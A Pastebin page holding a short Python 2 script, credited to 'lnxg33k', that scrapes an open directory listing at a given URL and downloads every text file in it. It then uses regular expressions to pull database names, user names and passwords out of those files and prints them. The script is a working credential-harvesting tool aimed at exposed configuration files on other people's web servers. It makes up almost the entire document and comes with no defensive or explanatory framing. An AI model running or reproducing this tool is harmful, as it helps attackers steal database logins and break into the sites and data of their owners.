Guest User

Untitled

a guest
Jan 19th, 2018
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.63 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # _Author @ lnxg33k
  3.  
  4. import sys
  5. import os
  6. import re
  7. import subprocess
  8. import urllib
  9.  
  10.  
  11. if len(sys.argv) != 3:
  12. print '\nUsage:\n\t%s [URL...] [directory...]' % sys.argv[0]
  13. sys.exit(1)
  14.  
  15. site = sys.argv[1]
  16. fout = sys.argv[2]
  17.  
  18. req = urllib.urlopen(site)
  19. read = req.read()
  20. f = open('/tmp/data.txt', 'w')
  21. f.write(read)
  22. f.close()
  23.  
  24. i = 0
  25. f = open('/tmp/data.txt', 'rU')
  26. print ''
  27. for line in f:
  28. if line.startswith('<IMG') == True and 'ALT="[TXT]"' in line:
  29. m = re.search(r'(<A HREF=")(.+[^>])(">)', line)
  30. i += 1
  31. local_name = '%s/file%d.txt' % (fout, i)
  32. print 'Retrieving...\t\t', site + m.group(2)
  33. try: urllib.urlretrieve(site + m.group(2), local_name)
  34. except IOError:
  35. print '\n[%s] doesn\'t exist, create it first' % fout
  36. sys.exit()
  37. f.close()
  38.  
  39. cleanup = subprocess.Popen('rm -rf /tmp/data.txt > /dev/null', shell=True).wait()
  40. print '\n', '-' * 100, '\n'
  41.  
  42. for root, dirs, files in os.walk(fout):
  43. for fname in files:
  44. fullpath = os.path.join(root, fname)
  45. f = open(fullpath, 'r')
  46. for line in f:
  47. site = re.search(r"(@)(.+[^>])(';)", line)
  48. if site is not None: SiteName = site.group(2)
  49. dbms = re.search(r"(db = ')(.+[^>])(';)", line)
  50. if dbms is not None: Database = dbms.group(2)
  51. user = re.search(r"(user = ')(.+[^>])(';)", line)
  52. if user is not None: UserName = user.group(2)
  53. secr = re.search(r"(password = ')(.+[^>])(';)", line)
  54. if secr is not None: Password = secr.group(2)
  55. f.close()
  56.  
  57. print 'Database: %s \t\t UserName: %s \t\t Password: %s' % (Database, UserName, Password)
  58. print ''
Add Comment
Please, Sign In to add comment